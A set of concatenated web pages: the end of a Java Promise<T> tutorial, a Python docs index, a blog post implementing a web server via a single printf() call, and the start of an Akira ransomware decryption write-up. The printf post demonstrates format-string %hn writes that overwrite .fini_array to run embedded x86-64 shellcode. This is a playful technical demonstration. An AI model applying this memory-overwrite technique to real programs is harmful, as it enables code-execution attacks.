CPU limits), further increase in the load causes graceful performance degradation. Graceful performance degradation is more preferred than abrupt performance degradation observed in traditional synchronous designs with thread pools. Sequential processing example: // Example data records record UserId ( String id ) {} record User ( UserId id , String name ) {} record Order ( UserId userId , String description ) {} record Invoice ( List < Order > orders ) {} // Example services interface UserRepository { Promise < User > findUserById ( UserId userId ); } interface OrderRepository { Promise < List < Order >> findOrdersByUser ( User user ); } interface InvoiceService { Promise < Invoice > createInvoice ( List < Order > orders ); } interface EmailService { void sendInvoice ( Invoice invoice ); } interface LogService { void logError ( String message , Cause cause ); } // Format business logic as a sequence of operations Promise < Invoice > processUserOrders ( UserId userId ) { return userRepository . findUserById ( userId ) . flatMap ( orderRepository: : findOrdersByUser ) . flatMap ( invoiceService: : createInvoice ) . onSuccess ( emailService: : sendInvoice ) . onFailure ( cause -> logService . logError ( "Invoice generation failed" , cause )); } Enter fullscreen mode Exit fullscreen mode Fork-Join The asynchronous nature of Promise<T> in some cases enables transformation of sequential execution into parallel execution. The main condition (which is quite frequently satisfied in practice) is independence of each operation. This is a very natural and effortless approach for speeding up processing, especially for I/O operations. Usually, this pattern is called “Fan-Out-Fan-In” or “Fork-Join.” The first step is to launch several operations in parallel. Each operation is represented by the Promise<T> instance. The next step is to collect and process all the results. There are several possible use cases, each covered by a dedicated Promise<T> predicate. The all() Predicate (Classic Join) This one covers the most frequent case: several results, each of its own type, need to be consolidated: // Example data records record UserId ( UUID id ) {} record PostId ( UUID id ) {} record UserData ( UserId userId , String name , String email ) {} record Post ( PostId postId , String content ) {} record Friend ( UserId friendId , String name ) {} s record UserProfile ( UserData userData , List < Post > posts , List < Friend > friends ) {} // Example services interface UserService { Promise < UserData > fetchUserData ( UserId userId ); } interface PostService { s Promise < List < Post >> fetchUserPosts ( UserId userId ); } interface FriendService { Promise < List < Friend >> fetchUserFriends ( UserId userId ); } Promise < UserProfile > fetchUserProfile ( UserId userId ) { return Promise . all ( userService . fetchUserData ( userId ), postService . fetchUserPosts ( userId ), friendService . fetchUserFriends ( userId )) . map ( UserProfile: : new ); } Enter fullscreen mode Exit fullscreen mode Note that the function passed as a parameter to the map() or flatMap() methods of predicate output is invoked only if all operations were successful. Any errors are automatically propagated, and the processing pipeline is short-circuited. Function parameters have the same order and type as Promise<T> instances passed to the all() predicate, making using it straightforward. The any() Predicate (Rat Race) This predicate covers the case when only one result is necessary from the several ones. Typical scenario: get some information from different providers. The source is not relevant, so anyone who first provides a successful result wins the race. Notice that all sources produce a result of the same type: // Example data record record WeatherInfo ( String city , String temperature ) {} // Example service interface interface WeatherService { Promise < WeatherInfo > fetchWeatherInfo ( String city ); } Promise < WeatherInfo > fetchWeatherInfo ( String city ) { return Promise . any ( openWeatherMapService . fetchWeatherInfo ( city ), weatherstackService . fetchWeatherInfo ( city ), accuWeatherService . fetchWeatherInfo ( city ), NWService . fetchWeatherInfo ( city )); } Enter fullscreen mode Exit fullscreen mode Just like the all() predicate, any() handles errors transparently, returning failure only if all operations failed. The allOf() Predicate (Single Type Join) This predicate covers the case when several results of the same type should be collected. Unlike all() and any() , this predicate collects all results (successes and failures) and passes them as a single list of results: var promises = IntStream . range ( 0 , 10 ) . mapToObj ( i -> Promise . promise (() -> Result . success ( i ))) . toList (); Promise . allOf ( promises ) . onSuccess ( results -> results . forEach ( System . out :: println )) . onFailure ( System . err :: println ); Enter fullscreen mode Exit fullscreen mode Further processing of the list depends on the use case. In some cases, for example, Result.allOf() might be helpful to extract values into List<T> : // Promise<List<T>> var list = Promise . allOf ( promises ) . map ( results -> Result . allOf ( results ). async ()) // .async() converts Result<T> into Promise<T> . onFailure ( System . err :: println ); Enter fullscreen mode Exit fullscreen mode Error Recovery (Fallback) Sometimes it is necessary to use an alternative source of information if the main one fails. For this purpose, Promise<T> has a special transformation - recover() : var promise = Promise . success ( "Success" ); promise . recover ( cause -> "Alternative result" ); Enter fullscreen mode Exit fullscreen mode The case above just replaces the value, producing the resolved Promise<T> immediately. Sometimes it is necessary to perform other operations to obtain the replacement result: promise . orElse ( performAnotherOperation ()); promise . orElse (() -> performAnotherOperation ()); Enter fullscreen mode Exit fullscreen mode Two forms of the orElse() method are similar, except the second one will invoke the method only if Promise<T> failed. Retry and Circuit Breaker The Promise<T> is accompanied by two utility classes, which implement frequently observed scenarios: retrying operations and preventing cascade failures. Retry performs the operation as many times as necessary to get a result (or fail, if all attempts failed): // Example data records record Amount ( BigDecimal value ) {} record Payment ( UserId userId , Amount amount , Currency currency ) {} record PaymentConfirmation ( String message ) {} // Example service interface interface PaymentService { Promise < PaymentConfirmation > processPayment ( Payment payment ); } // Repeat attempts at most 5 times, retry every 2 seconds private Retry retry = Retry . create ( 5 , fixed ( timeSpan ( 2 ). seconds ())); Promise < PaymentConfirmation > processPayment ( Payment payment ) { return retry . execute (() -> paymentService . processPayment ()); } Enter fullscreen mode Exit fullscreen mode Retry has support for several different backoff strategies - linear, exponential, and fixed: // Linear var linear = linear (). initialDelay ( timeSpan ( 50 ). millis ()) . increment ( timeSpan ( 100 ). millis ()) . maxDelay ( timeSpan ( 1 ). seconds ()); // Exponential var strategy2 = exponential (). initialDelay ( timeSpan ( 50 ). millis ()) . maxDelay ( timeSpan ( 1 ). seconds ()) . factor ( 2.0 ) . withoutJitter (); // Fixed var strategy3 = fixed (). interval ( timeSpan ( 50 ). millis ()); Enter fullscreen mode Exit fullscreen mode CircuitBreaker (obviously) implements a classic pattern with the same name. The API is very similar to the Retry : // Configure circuit breaker var breaker = CircuitBreaker . builder () . failureThreshold ( 3 ) . resetTimeout ( timeSpan ( 100 ). millis ()) . testAttempts ( 2 ) . shouldTrip ( cause -> cause == TEST_ERROR ) . withDefaultTimeSource (); // Use to protect endpoint return circuitBreaker . execute (() -> service . processOrder ( order )); Enter fullscreen mode Exit fullscreen mode Note that both utility classes are thread-safe. There is a difference, though: Retry is entirely stateless, so one can create one or a few differently configured instances and use them safely through the code for different endpoints. The CircuitBreaker is stateful, so, while several threads could call an external endpoint protected by the same CircuitBreaker , each external endpoint must have a dedicated CircuitBreaker instance. Pragmatica Lite Core Library The Pragmatica Lite Core Library contains implementations of all three core monads, as well as several utility classes. To use it in a Maven project, add the following dependency (most recent version at the time of writing): <dependency> <groupId> org.pragmatica-lite </groupId> <artifactId> core </artifactId> <version> 0.8.4 </version> </dependency> Enter fullscreen mode Exit fullscreen mode Conclusion Functional style Promise<T> is a powerful yet easy-to-use tool. Code written with Promise<T> is easy to reason about and understand, although keeping code at a single level of abstraction is highly recommended to preserve clarity. Simple mental model and very few technical details leaking into the user code, making Promise<T> the best tool for implementing highly scalable business logic. Top comments (0) Subscribe Personal Trusted User Create template Templates let you quickly answer FAQs or store snippets for re-use. Submit Preview Dismiss Code of Conduct • Report abuse Are you sure you want to hide this comment? It will become hidden in your post, but will still be visible via the comment's permalink . Hide child comments as well Confirm For further actions, you may consider blocking this person and/or reporting abuse Sergiy Yevtushenko Follow Writing code for 35+ years and still enjoy it... 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https://docs.python.org/3.4/ | Overview — Python 3.4.10 documentation This document is for an old version of Python that is no longer supported. You should upgrade, and read the Python documentation for the current stable release . Navigation index modules | Python » 3.4.10 Documentation » Python 3.4.10 documentation Welcome! This is the documentation for Python 3.4.10, last updated Jun 16, 2019. Parts of the documentation: What's new in Python 3.4? or all "What's new" documents since 2.0 Tutorial start here Library Reference keep this under your pillow Language Reference describes syntax and language elements Python Setup and Usage how to use Python on different platforms Python HOWTOs in-depth documents on specific topics Installing Python Modules installing from the Python Package Index & other sources Distributing Python Modules publishing modules for installation by others Extending and Embedding tutorial for C/C++ programmers Python/C API reference for C/C++ programmers FAQs frequently asked questions (with answers!) Indices and tables: Global Module Index quick access to all modules General Index all functions, classes, terms Glossary the most important terms explained Search page search this documentation Complete Table of Contents lists all sections and subsections Meta information: Reporting bugs About the documentation History and License of Python Copyright Download Download these documents Docs for other versions Python 2.7 (stable) Python 3.6 (stable) Python 3.7 (in development) Old versions Other resources PEP Index Beginner's Guide Book List Audio/Visual Talks Quick search Enter search terms or a module, class or function name. Navigation index modules | Python » 3.4.10 Documentation » © Copyright 1990-2019, Python Software Foundation. The Python Software Foundation is a non-profit corporation. Please donate. Last updated on Jun 16, 2019. Found a bug ? Created using Sphinx 1.2.3. | 2026-01-13T08:48:55 |
https://tinyhack.com/2014/03/12/implementing-a-web-server-in-a-single-printf-call/#comment-23554 | Implementing a web server in a single printf() call – Tinyhack.com --> Skip to content Tinyhack.com A hacker does for love what others would not do for money. Implementing a web server in a single printf() call A guy just forwarded a joke that most of us will already know Jeff Dean Facts (also here and here ). Everytime I read that list, this part stands out: Jeff Dean once implemented a web server in a single printf() call. Other engineers added thousands of lines of explanatory comments but still don’t understand exactly how it works. Today that program is the front-end to Google Search. It is really possible to implement a web server using a single printf call, but I haven’t found anyone doing it. So this time after reading the list, I decided to implement it. So here is the code, a pure single printf call, without any extra variables or macros (don’t worry, I will explain how to this code works) #include <stdio.h> int main(int argc, char *argv[]) { printf("%*c%hn%*c%hn" "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3", ((((unsigned long int)0x4005c8 + 12) >> 16) & 0xffff), 0, 0x00000000006007D8 + 2, (((unsigned long int)0x4005c8 + 12) & 0xffff)- ((((unsigned long int)0x4005c8 + 12) >> 16) & 0xffff), 0, 0x00000000006007D8 ); } This code only works on a Linux AMD64 bit system, with a particular compiler (gcc version 4.8.2 (Debian 4.8.2-16) ) And to compile it: gcc -g web1.c -O webserver As some of you may have guessed: I cheated by using a special format string . That code may not run on your machine because I have hardcoded two addresses. The following version is a little bit more user friendly (easier to change), but you are still going to need to change 2 values: FUNCTION_ADDR and DESTADDR which I will explain later: #include <stdio.h> #include <stdlib.h> #include <stdint.h> #define FUNCTION_ADDR ((uint64_t)0x4005c8 + 12) #define DESTADDR 0x00000000006007D8 #define a (FUNCTION_ADDR & 0xffff) #define b ((FUNCTION_ADDR >> 16) & 0xffff) int main(int argc, char *argv[]) { printf("%*c%hn%*c%hn" "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3" , b, 0, DESTADDR + 2, a-b, 0, DESTADDR ); } I will explain how the code works through a series of short C codes. The first one is a code that will explain how that we can start another code without function call. See this simple code: #include <stdlib.h> #include <stdio.h> #define ADDR 0x00000000600720 void hello() { printf("hello world\n"); } int main(int argc, char *argv[]) { (*((unsigned long int*)ADDR))= (unsigned long int)hello; } You can compile it, but it many not run on your system. You need to do these steps: 1. Compile the code: gcc run-finalizer.c -o run-finalizer 2. Examine the address of fini_array objdump -h -j .fini_array run-finalizer And find the VMA of it: run-finalizer: file format elf64-x86-64 Sections: Idx Name Size VMA LMA File off Algn 18 .fini_array 00000008 0000000000600720 0000000000600720 00000720 2**3 CONTENTS, ALLOC, LOAD, DATA Note that you need a recent GCC to do this, older version of gcc uses different mechanism of storing finalizers. 3. Change the value of ADDR on the code to the correct address 4. Compile the code again 5. Run it and now you will see “hello world” printed to your screen. How does this work exactly?: According to Chapter 11 of Linux Standard Base Core Specification 3.1 .fini_array This section holds an array of function pointers that contributes to a single termination array for the executable or shared object containing the section. We are overwriting the array so that our hello function is called instead of the default handler. If you are trying to compile the webserver code, the value of ADDR is obtained the same way (using objdump). Ok, now we know how to execute a function by overriding a certain address, we need to know how we can overwrite an address using printf . You can find many tutorials on how to exploit format string bugs, but I will try give a short explanation. The printf function has this feature that enables us to know how many characters has been printed using the “%n” format: #include <stdio.h> int main(){ int count; printf("AB%n", &count); printf("\n%d characters printed\n", count); } You will see that the output is: AB 2 characters printed Of course we can put any address to the count pointer to overwrite that address. But to overide an address with a large value we need to print a large amount of text. Fortunately there is another format string “%hn” that works on short instead of int. We can overwrite the value 2 bytes at a time to form the 4 byte value that we want. Lets try to use two printf calls to put a¡ value that we want (in this case the pointer to function “hello”) to the fini_array: #include <stdio.h> #include <stdlib.h> #include <stdint.h> #define FUNCTION_ADDR ((uint64_t)hello) #define DESTADDR 0x0000000000600948 void hello() { printf("\n\n\n\nhello world\n\n"); } int main(int argc, char *argv[]) { short a= FUNCTION_ADDR & 0xffff; short b = (FUNCTION_ADDR >> 16) & 0xffff; printf("a = %04x b = %04x\n", a, b) uint64_t *p = (uint64_t*)DESTADDR; printf("before: %08lx\n", *p); printf("%*c%hn", b, 0, DESTADDR + 2 ); printf("after1: %08lx\n", *p); printf("%*c%hn", a, 0, DESTADDR); printf("after2: %08lx\n", *p); return 0; } The important lines are: short a= FUNCTION_ADDR & 0xffff; short b = (FUNCTION_ADDR >> 16) & 0xffff; printf("%*c%hn", b, 0, DESTADDR + 2 ); printf("%*c%hn", a, 0, DESTADDR); The a and b are just halves of the function address, we can construct a string of length a and b to be given to printf, but I chose to use the “%*” formatting which will control the length of the output through parameter. For example, this code: printf("%*c", 10, 'A'); Will print 9 spaces followed by A, so in total, 10 characters will be printed. If we want to use just one printf, we need to take account that b bytes have been printed, and we need to print another b-a bytes (the counter is accumulative). printf("%*c%hn%*c%hn", b, 0, DESTADDR + 2, b-a, 0, DESTADDR ); Currently we are using the “hello” function to call, but we can call any function (or any address). I have written a shellcode that acts as a web server that just prints “Hello world”. This is the shell code that I made: unsigned char hello[] = "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3"; If we remove the function hello and insert that shell code, that code will be called. That code is just a string, so we can append it to the “%*c%hn%*c%hn” format string. This string is unnamed, so we will need to find the address after we compile it. To obtain the address, we need to compile the code, then disassemble it: objdump -d webserver 00000000004004fd <main>: 4004fd: 55 push %rbp 4004fe: 48 89 e5 mov %rsp,%rbp 400501: 48 83 ec 20 sub $0x20,%rsp 400505: 89 7d fc mov %edi,-0x4(%rbp) 400508: 48 89 75 f0 mov %rsi,-0x10(%rbp) 40050c: c7 04 24 d8 07 60 00 movl $0x6007d8,(%rsp) 400513: 41 b9 00 00 00 00 mov $0x0,%r9d 400519: 41 b8 94 05 00 00 mov $0x594,%r8d 40051f: b9 da 07 60 00 mov $0x6007da,%ecx 400524: ba 00 00 00 00 mov $0x0,%edx 400529: be 40 00 00 00 mov $0x40,%esi 40052e: bf c8 05 40 00 mov $0x4005c8,%edi 400533: b8 00 00 00 00 mov $0x0,%eax 400538: e8 a3 fe ff ff callq 4003e0 <printf@plt> 40053d: c9 leaveq 40053e: c3 retq 40053f: 90 nop We only need to care about this line: mov $0x4005c8,%edi That is the address that we need in: #define FUNCTION_ADDR ((uint64_t)0x4005c8 + 12) The +12 is needed because our shell code starts after the string “%*c%hn%*c%hn” which is 12 characters long. If you are curious about the shell code, it was created from the following C code. #include<stdio.h> #include<string.h> #include<stdlib.h> #include<unistd.h> #include<sys/types.h> #include<sys/stat.h> #include<sys/socket.h> #include<arpa/inet.h> #include<netdb.h> #include<signal.h> #include<fcntl.h> int main(int argc, char *argv[]) { int sockfd = socket(AF_INET, SOCK_STREAM, 0); struct sockaddr_in serv_addr; bzero((char *)&serv_addr, sizeof(serv_addr)); serv_addr.sin_family = AF_INET; serv_addr.sin_addr.s_addr = INADDR_ANY; serv_addr.sin_port = htons(8080); bind(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)); listen(sockfd, 5); while (1) { int cfd = accept(sockfd, 0, 0); char *s = "HTTP/1.0 200\r\nContent-type:text/html\r\n\r\n<h1>Hello world!</h1>"; if (fork()==0) { write(cfd, s, strlen(s)); shutdown(cfd, SHUT_RDWR); close(cfd); } } return 0; } I have done an extra effort (although it is not really necessary in this case) to remove all NUL character from the shell code (since I couldn’t find one for X86-64 in the Shellcodes database ). Jeff Dean once implemented a web server in a single printf() call. Other engineers added thousands of lines of explanatory comments but still don’t understand exactly how it works. Today that program is the front-end to Google Search . It is left as an exercise for the reader to scale the web server to able to handle Google search load. Source codes for this post is available at https://github.com/yohanes/printf-webserver For people who thinks that this is useless: yes it is useless. I just happen to like this challenge, and it has refreshed my memory and knowledge for the following topics: shell code writing (haven’t done this in years), AMD64 assembly (calling convention, preserved registers, etc), syscalls, objdump, fini_array (last time I checked, gcc still used .dtors), printf format exploiting, gdb tricks (like writing memory block to file), and low level socket code (I have been using boost’s for the past few years). Update : Ubuntu adds a security feature that provides a read-only relocation table area in the final ELF. To be able to run the examples in ubuntu, add this in the command line when compiling -Wl,-z,norelro e.g: gcc -Wl,-z,norelro test.c Author admin Posted on March 12, 2014 April 28, 2017 Categories hacks 18 thoughts on “Implementing a web server in a single printf() call” dodi says: March 12, 2014 at 2:04 pm eh buset, serius nih lu ? 🙂 Reply priyo says: March 13, 2014 at 5:07 am scroll up… scroll down… scroll up… scroll down… 100x *gagal paham* Reply terminalcommand says: March 13, 2014 at 5:19 am Thank you! Very interesting article. I also didn’t know about the one line webserver at google. Although this is a hard topic, you’ve made a great work simplifying it. Reply Basun says: March 13, 2014 at 10:02 am The one line webserver bit is a joke about Jeff Dean, who works at Google. Its not real. 🙂 Reply Cees Timmerman says: April 20, 2016 at 4:12 pm There are real webserver oneliners: https://gist.github.com/willurd/5720255 Reply anonim says: March 13, 2014 at 5:29 am Diskusinya di https://news.ycombinator.com/item?id=7389623 Reply Neil says: March 13, 2014 at 12:38 pm Shouldn’t there be an exit() somewhere in the fork==0 branch? Otherwise every time there is a request the new child process will become a server too and start accepting requests, right? I think the parent leaks its copy of the file descriptor too. Maybe the fork is a bit redundant. I don’t think the write or close will block with such a small amount of data. Cool post though! I’m not really sure why I’m nitpicking in the shell code. Sorry. Reply admin says: March 14, 2014 at 1:58 am Ah yes, there is an exit from the loop on the assembly code (myhttp.s) but it got removed from http.c when I removed the comment and debug code. And you are also right about the fork, it is unnecessary in this case. At first I was going to write the HTTP headers and then exec some external command. I changed my mind and didn’t bother deleting the fork call. Reply Kyle Ross says: March 13, 2014 at 11:02 pm This is really interesting, but I’m having trouble following whats actually happening. Could you explain how you reduced that C code with includes and methods into a string containing hex codes and how that is turned back into some sort of executable code? Thanks Reply admin says: March 14, 2014 at 2:01 am I think it is beyond the scope of this article to explain about shell code writing. There are many books and tutorials that you can read (just search for “buffer overflow” or “shell code writing”). Reply TTK Ciar says: March 14, 2014 at 1:05 am Alternatively: $ perl -Mojo -E ‘a({inline => “%= `uptime`”})->start’ daemon & Server available at http://127.0.0.1:3000 . $ lynx -dump -nolist http://127.0.0.1:3000/ 17:57:56 up 66 days, 6:45, 108 users, load average: 0.10, 0.12, 0.07 though, perl by definition is cheating. Reply Evan Danaher says: March 14, 2014 at 2:54 pm I’m not sure why you used finalizers instead of just changing the return address on the stack; this may be the first time I’ve ever said this, but stack smashing is much more portable. I’ve made a variant that I’d expect to work on any gcc 4.4-4.7 on x86_64 Linux, and have some ideas which, if they work out, may make it actually “portable” to any x86/x86_64 Unix running a reasonable compiler. https://github.com/edanaher/printf-webserver Reply admin says: March 17, 2014 at 3:02 pm Yes using the stack is also possible, but on most modern system, GCC is compiled with stack protection turned on (and needs to be disabled using -fno-stack-protector). Reply Pingback: Implementing a web server in a single printf() call « adafruit industries blog Itzik Kotler says: March 15, 2014 at 4:35 pm Pretty neat. I did something similar (all though simpler) back in the days. See: http://www.exploit-db.com/papers/13233/ Reply Pingback: Saving the world, one cpu cycle at a time | Dav's bit o the web programath says: April 22, 2014 at 1:18 pm printf(“%*c%hn%*c%hn”, b, 0, DESTADDR + 2, b-a, 0, DESTADDR ); ————————————————— i think the fourth parameter should be ‘a-b’, not ‘b-a’, because a == b + (a – b) Reply Pingback: New top story on Hacker News: Implementing a web server in a single printf call (2014) – Latest news Leave a Reply Cancel reply Your email address will not be published. Required fields are marked * Comment * Name * Email * Website Save my name, email, and website in this browser for the next time I comment. Δ Post navigation Previous Previous post: Raspberry Pi for Out of Band Linux PC management Next Next post: Exploiting the Futex Bug and uncovering Towelroot Pages About Archive Search for: Search Follow x.com/yohanes Mastodon Recent Posts CVE-2025-31931 Arbitrary Shared Library Loading in Intel ITT API on Android (affects OpenCV <= 4.10) Decrypting Encrypted files from Akira Ransomware (Linux/ESXI variant 2024) using a bunch of GPUs Patching .so files of an installed Android App Extracting WhatsApp Database (or any app data) from Android 12/13 using CVE-2024-0044 Zygisk-based reFlutter Recent Comments Eitan Porat on About admin on Using U-Boot to extract Boot Image from Pritom P7 lpt2007 on Using U-Boot to extract Boot Image from Pritom P7 admin on Using U-Boot to extract Boot Image from Pritom P7 lpt2007 on Using U-Boot to extract Boot Image from Pritom P7 Archives November 2025 March 2025 November 2024 June 2024 April 2024 January 2024 December 2023 September 2022 March 2021 January 2021 May 2019 January 2019 November 2018 July 2018 May 2018 February 2018 October 2017 September 2017 March 2017 November 2016 November 2015 July 2014 March 2014 February 2014 June 2013 January 2013 November 2011 March 2011 February 2011 July 2010 April 2010 January 2010 December 2009 September 2009 August 2009 June 2009 May 2009 April 2009 March 2009 February 2009 January 2009 December 2008 October 2008 September 2008 August 2008 July 2008 June 2008 May 2008 March 2008 February 2008 October 2007 June 2007 February 2007 January 2007 December 2006 Categories agestar android blog ctf debian flareon flex freebsd google hacks hardware hostmonster linux mac os x misc mobile opensource phone raspberry reverse-engineering sdr security Uncategorized wii writeup Meta Log in Entries feed Comments feed WordPress.org Tinyhack.com Proudly powered by WordPress | 2026-01-13T08:48:55 |
https://tinyhack.com/2025/03/13/decrypting-encrypted-files-from-akira-ransomware-linux-esxi-variant-2024-using-a-bunch-of-gpus/ | Decrypting Encrypted files from Akira Ransomware (Linux/ESXI variant 2024) using a bunch of GPUs – Tinyhack.com --> Skip to content Tinyhack.com A hacker does for love what others would not do for money. Decrypting Encrypted files from Akira Ransomware (Linux/ESXI variant 2024) using a bunch of GPUs I recently helped a company recover their data from the Akira ransomware without paying the ransom. I’m sharing how I did it, along with the full source code. Update: since this article was written, a new version of Akira ransomware has appeared that can’t be decrypted with this method The code is here: https://github.com/yohanes/akira-bruteforce To clarify, multiple ransomware variants have been named Akira over the years, and several versions are currently circulating. The variant I encountered has been active from late 2023 to the present (the company was breached this year). There was an earlier version (before mid-2023) that contained a bug, allowing Avast to create a decryptor. However, once this was published, the attackers updated their encryption. I expect they will change their encryption again after I publish this. https://decoded.avast.io/threatresearch/decrypted-akira-ransomware You can find various Akira malware sample hashes at the following URL: https://github.com/rivitna/Malware/blob/main/Akira/Akira_samples.txt The sample that matches my client’s case is: bcae978c17bcddc0bf6419ae978e3471197801c36f73cff2fc88cecbe3d88d1a It is listed under the version: Linux V3 . The sample can be found on virus.exchange (just paste the hash to search). Note that the ransom message and the private/public keys will differ. We do this not because it is easy, but because we thought it would be easy I usually decline requests to assist with ransomware cases. However, when my friend showed me this particular case, a quick check made me think it was solvable. From my initial analysis, I observed the following: The ransomware uses the current time (in nanoseconds) as a seed. On my Linux machine, file modification times have nanosecond resolution. They provided a screenshot of a partial log ( shell.log ), showing when the ransomware was executed, with millisecond resolution. Based on this, my initial thought was: “This should be easy—just brute-force it by looking at the file timestamps. How hard can it be?” I’ll explain in more detail, but it turned out to be more complicated than expected: The malware doesn’t rely on a single moment in time but uses four moments , each with nanosecond resolution . The fist two and last two are related, so we can’t just bruteforce the time one by one. Key generation is complex, involving 1,500 rounds of SHA-256 for each timestamp. Each file ends up with a unique key. The VMware VMFS filesystem only records file modification times with second-level precision . Not all ESXi hosts have millisecond resolution in their log files, some only log with second-level precision. I am still unsure what configuration file causes this different behavior The malware uses multiple threads during execution. The file modification time reflects when the file is closed , not when it is opened for writing. Reverse Engineering The code is written in C++ , which is notoriously difficult to read, but fortunately, it wasn’t obfuscated. The binary is statically linked (a bit harder to analyze), but all strings are in cleartext. The error messages indicate that the Nettle library is used, which made understanding the code much easier. The existence of error strings really helps The code to generate random is like this (the actual code is in 0x455f40 in the binary) void generate_random(char *buffer, int size) { uint64_t t = get_current_time_nanosecond(); char seed[32]; //in the real code, it uses C++ code to convert int to string snprintf(seed, sizeof(seed), "%lld", t); struct yarrow256_ctx ctx; yarrow256_init(&ctx, 0, NULL); yarrow256_seed(&ctx, strlen(seed), seed); yarrow256_random(&ctx, size, buffer); } The random generator is implemented in yarrow256.c . Here is the relevant code, with unnecessary parts removed. As noted in the comments: The number of iterations when reseeding, P_t in the yarrow paper. Should be chosen so that reseeding takes on the order of 0.1-1 seconds. void yarrow256_seed(struct yarrow256_ctx *ctx, size_t length, const uint8_t *seed_file) { sha256_update(&ctx->pools[YARROW_FAST], length, seed_file); yarrow256_fast_reseed(ctx); } void yarrow256_fast_reseed(struct yarrow256_ctx *ctx) { uint8_t digest[SHA256_DIGEST_SIZE]; unsigned i; sha256_digest(&ctx->pools[YARROW_FAST], sizeof(digest), digest); /* Iterate */ yarrow_iterate(digest); aes256_set_encrypt_key(&ctx->key, digest); /* Derive new counter value */ memset(ctx->counter, 0, sizeof(ctx->counter)); aes256_encrypt(&ctx->key, sizeof(ctx->counter), ctx->counter, ctx->counter); } /* The number of iterations when reseeding, P_t in the yarrow paper. * Should be chosen so that reseeding takes on the order of 0.1-1 * seconds. */ #define YARROW_RESEED_ITERATIONS 1500 static void yarrow_iterate(uint8_t *digest) { uint8_t v0[SHA256_DIGEST_SIZE]; unsigned i; memcpy(v0, digest, SHA256_DIGEST_SIZE); /* When hashed inside the loop, i should run from 1 to * YARROW_RESEED_ITERATIONS */ for (i = 0; ++i < YARROW_RESEED_ITERATIONS; ) { uint8_t count[4]; struct sha256_ctx hash; sha256_init(&hash); /* Hash v_i | v_0 | i */ WRITE_UINT32(count, i); sha256_update(&hash, SHA256_DIGEST_SIZE, digest); sha256_update(&hash, sizeof(v0), v0); sha256_update(&hash, sizeof(count), count); sha256_digest(&hash, SHA256_DIGEST_SIZE, digest); } } Seed and encryption The ransomware calls the random generator four times: generate_random(chacha8_key 32); 